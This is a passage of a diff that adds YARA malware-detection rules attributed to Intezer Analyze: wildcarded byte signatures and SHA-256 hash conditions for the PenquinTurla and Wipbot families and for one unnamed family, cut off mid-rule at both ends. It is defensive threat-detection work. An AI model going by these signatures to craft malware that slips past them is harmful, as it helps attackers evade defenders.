+		$block_20 = { 5? 6A ?? E8 ?? ?? ?? ?? 5? 5? 0F BE ?? 83 ?? ?? 0F AF ?? 03 ?? 4? 4? 3B ?? 72 }
+		$block_21 = { 0F B7 ?? ?? 0F B7 ?? ?? 2B ?? 5? FF 1? ?? ?? ?? ?? 33 ?? F7 ?? ?? 5? 85 ?? 74 }
+		$block_22 = { 8D ?? ?? 5? 89 ?? ?? 8B ?? ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_23 = { 8D ?? ?? ?? 5? FF 7? ?? ?? 5? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 5? FF 7? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 6A ?? 5? 01 ?? ?? 01 ?? ?? 01 ?? ?? 03 ?? 0F B7 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_26 = { 8B ?? ?? FF 4? ?? 8B ?? ?? ?? ?? ?? 4? 33 ?? F7 ?? 89 ?? ?? 39 ?? ?? 0F 82 }
+		$block_27 = { 8D ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 5? 5? 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_29 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 0F AF ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_30 = { 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_33 = { FF 3? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_34 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 5? 38 ?? ?? 0F 84 }
+		$block_35 = { FF 7? ?? 8B ?? ?? ?? ?? ?? 6A ?? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_36 = { A1 ?? ?? ?? ?? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_37 = { 8D ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_38 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 5? 66 ?? ?? ?? 5? 4? FF D? 3B ?? 7E }
+		$block_39 = { FF 4? ?? ?? 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_40 = { 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 5? 5? 8D ?? ?? 5? BF ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { FF 3? ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_44 = { 8B ?? ?? A1 ?? ?? ?? ?? C1 ?? ?? 03 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_45 = { 6A ?? 6A ?? FF 3? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 5? 8B ?? ?? ?? ?? ?? 6A ?? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_47 = { 0F B7 ?? ?? 83 ?? ?? ?? 33 ?? 8D ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_48 = { 5? 8D ?? ?? 5? 6A ?? 8D ?? ?? 5? FF 7? ?? FF D? 85 ?? 0F 84 }
+		$block_49 = { 8D ?? ?? 5? BF ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 5? FF 1? ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? ?? 33 ?? 4? 85 ?? 7E }
+		$block_51 = { 5? 8B ?? ?? ?? ?? ?? 5? FF 3? FF D? 8B ?? ?? 0F B7 ?? 4? 74 }
+		$block_52 = { 83 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F 86 }
+		$block_53 = { 8B ?? ?? 8D ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_54 = { 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 7? ?? 85 ?? 0F 84 }
+		$block_55 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_56 = { FF 7? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_57 = { 8B ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 2B ?? 2B }
+		$block_58 = { 8B ?? 5? 5? 5? FF D? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_59 = { FF 7? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_60 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_61 = { 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_62 = { 8B ?? 6A ?? 5? 33 ?? D1 ?? 89 ?? ?? F6 ?? ?? 0F 84 }
+		$block_63 = { 5? 6A ?? FF 3? FF D? 8B ?? ?? ?? 0F B7 ?? 4? 0F 84 }
+		$block_64 = { 6A ?? 6A ?? FF 7? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_65 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8A ?? 5? C9 C3 }
+		$block_67 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 39 ?? ?? 0F 84 }
+		$block_68 = { 5? 8B ?? ?? 5? 5? 64 ?? ?? ?? ?? ?? ?? 5? C9 C3 }
+		$block_69 = { FF 7? ?? 5? FF 7? ?? FF D? 5? 5? 33 ?? 5? C9 C2 }
+
+	condition:
+		hash.sha256(0, filesize) == "2007aa72dfe0c6c93beb44f737b85b6cd487175e7abc6b717dae9344bed46c6c" or
+		hash.sha256(0, filesize) == "364593bebe015945002f6affec90154a69cb051d59ac7557f076930375fb054f" or
+		hash.sha256(0, filesize) == "29e80fbdd60e723f69d111d72d3436b84d835add2fff26f52d426b5a8f4e17d1" or
+		hash.sha256(0, filesize) == "02e28a176dd2ad9507e8d76b739af6fa2f1f7c373e70adbd70a44e8b137e58f8" or
+		hash.sha256(0, filesize) == "4a941b881e917cd41477e2d4549fc8e217cd883773f2c703186e5525dc4d6c07" or
+		12 of them
+}
+
+rule PenquinTurla {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_1 = { 89 ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 83 ?? ?? ?? 89 ?? 89 ?? C1 ?? ?? 8B ?? ?? C1 ?? ?? 30 ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 39 ?? 74 }
+		$block_3 = { 5? 31 ?? B9 ?? ?? ?? ?? 5? 5? 83 ?? ?? 8D ?? ?? ?? FC 8B ?? ?? ?? F3 ?? A1 ?? ?? ?? ?? 85 ?? 75 }
+		$block_4 = { C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_5 = { 0F B7 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 66 ?? ?? ?? ?? 7E }
+		$block_6 = { 89 ?? 89 ?? 8B ?? D3 ?? 83 ?? ?? 0F B6 ?? ?? ?? 89 ?? D3 ?? 09 ?? 89 ?? 83 ?? ?? FF 4? ?? ?? 75 }
+		$block_7 = { 5? 89 ?? 5? 31 ?? 5? 31 ?? 5? 83 ?? ?? 89 ?? 89 ?? ?? 4? 8D ?? ?? C6 ?? ?? ?? 0F BE ?? 85 ?? 74 }
+		$block_8 = { 01 ?? 8D ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 89 ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 31 ?? 29 ?? 8B ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_11 = { FF 4? ?? 89 ?? 89 ?? C1 ?? ?? 8B ?? ?? C1 ?? ?? 30 ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 39 ?? 0F 84 }
+		$block_12 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? E9 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 86 }
+		$block_14 = { F6 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 85 }
+		$block_15 = { 0F B7 ?? ?? C1 ?? ?? 25 ?? ?? ?? ?? 0F 95 ?? ?? ?? ?? ?? 89 ?? 80 8? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 88 ?? 80 E? ?? 0F B6 ?? ?? ?? ?? ?? 24 ?? 08 ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? E9 }
+		$block_17 = { 0F B6 ?? ?? ?? 89 ?? 4? 30 ?? ?? ?? ?? ?? 31 ?? 81 F? ?? ?? ?? ?? 0F 9D ?? 4? 4? 21 ?? 39 ?? 7C }
+		$block_18 = { 8B ?? ?? FF 4? ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? 88 ?? ?? ?? 8B ?? ?? 4? 8B ?? ?? 89 ?? ?? 39 ?? 72 }
+		$block_19 = { 0F B6 ?? 31 ?? 31 ?? 89 ?? ?? ?? 31 ?? 4? 89 ?? ?? ?? 31 ?? BD ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? E9 }
+		$block_20 = { FF 8? ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 95 ?? 85 ?? 8D ?? ?? ?? 0F 84 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 41 ?? ?? ?? 75 }
+		$block_22 = { 48 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 41 ?? 5? 5? 48 ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_26 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 48 ?? ?? E8 ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? F3 ?? B9 ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 0F 84 }
+		$block_29 = { 48 ?? 49 ?? ?? FF C? 48 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 0F 85 }
+		$block_30 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? ?? ?? ?? ?? 0F 88 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 05 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 89 }
+		$block_32 = { 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 05 48 ?? ?? ?? ?? ?? 76 }
+		$block_33 = { 0F BE ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 40 ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 74 }
+		$block_34 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 39 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_35 = { 89 ?? ?? ?? 8B ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_36 = { 89 ?? ?? 31 ?? 31 ?? 89 ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_38 = { C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_39 = { C7 ?? ?? ?? ?? ?? ?? 31 ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_40 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 89 ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_42 = { 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 89 ?? ?? ?? 8B ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 8D }
+		$block_47 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 8D ?? ?? 89 ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 0F B7 ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 86 }
+		$block_49 = { 8B ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 88 }
+		$block_50 = { 89 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { FF 4? ?? 4? 0F BE ?? 0F B6 ?? 83 ?? ?? 89 ?? ?? 0F BE ?? 8D ?? ?? 88 ?? 88 ?? 2C ?? 3C ?? 77 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? 89 ?? ?? 0F 85 }
+		$block_54 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? 89 ?? ?? 0F 88 }
+		$block_55 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? 29 ?? 8B ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 89 ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_58 = { 48 ?? ?? E8 ?? ?? ?? ?? 89 ?? 48 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_59 = { 41 ?? 49 ?? ?? 5? 48 ?? ?? ?? 5? 8B ?? ?? 48 ?? ?? C6 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_60 = { 44 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { 41 ?? 4C ?? ?? ?? 5? 48 ?? ?? 5? 8B ?? ?? 48 ?? ?? C6 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? F0 ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_63 = { 44 ?? ?? BA ?? ?? ?? ?? FC 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? F3 ?? ?? 40 ?? ?? ?? 74 }
+		$block_64 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? 0F 94 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F 84 }
+		$block_66 = { 49 ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? 41 ?? ?? 0F 84 }
+		$block_67 = { C6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? C6 ?? ?? B9 ?? ?? ?? ?? FC F3 ?? 74 }
+		$block_68 = { FC 89 ?? C1 ?? ?? 89 ?? F3 ?? 8B ?? ?? ?? ?? ?? 80 8? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_69 = { 5? 89 ?? 5? 89 ?? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_70 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 8B ?? 83 ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 5? 31 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 85 ?? 0F 8E }
+		$block_73 = { 8B ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 95 ?? 0F B6 ?? 4? 21 ?? ?? 9? }
+		$block_74 = { 8D ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_75 = { C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 89 ?? ?? ?? 31 ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_77 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_78 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 4C ?? ?? ?? ?? 4D ?? ?? 4C ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF D? 83 ?? ?? 0F 84 }
+		$block_80 = { 4C ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 4A ?? ?? ?? 48 ?? ?? 48 ?? ?? 49 ?? ?? 0F 89 }
+		$block_81 = { 44 ?? ?? 44 ?? ?? 41 ?? ?? B9 ?? ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_82 = { 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 80 3? ?? 0F 84 }
+		$block_83 = { 48 ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_84 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_85 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 49 ?? ?? ?? 0F 88 }
+		$block_86 = { 89 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_87 = { 4D ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 41 ?? ?? ?? 0F 8F }
+		$block_88 = { 4C ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_89 = { 48 ?? ?? ?? ?? 49 ?? ?? 89 ?? 4C ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 01 ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 87 }
+		$block_91 = { 8B ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_92 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 0F 84 }
+		$block_93 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 0F 85 }
+		$block_94 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_95 = { FF 4? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? FF C? 0F 84 }
+		$block_96 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 8B ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? C9 C3 }
+		$block_97 = { 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 4C ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_98 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_99 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 41 ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0" or
+		hash.sha256(0, filesize) == "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" or
+		hash.sha256(0, filesize) == "1eee1d0f736f3b796ab8da66bb16a68c7600e9a0c0cc8de0b640bc53beb9a90a" or
+		hash.sha256(0, filesize) == "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" or
+		hash.sha256(0, filesize) == "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" or
+		hash.sha256(0, filesize) == "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" or
+		12 of them
+}
+
+rule Wipbot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4? 0F B7 ?? 4? 8B ?? 4? 89 ?? 4? 01 ?? C1 ?? ?? 4? 81 E? ?? ?? ?? ?? 4? 01 ?? 66 ?? ?? ?? 75 }
+		$block_1 = { D9 ?? FB 5? 1A ?? ?? 3C ?? CC 04 ?? 18 ?? A4 02 ?? ?? BE ?? ?? ?? ?? 15 ?? ?? ?? ?? 5? EB }
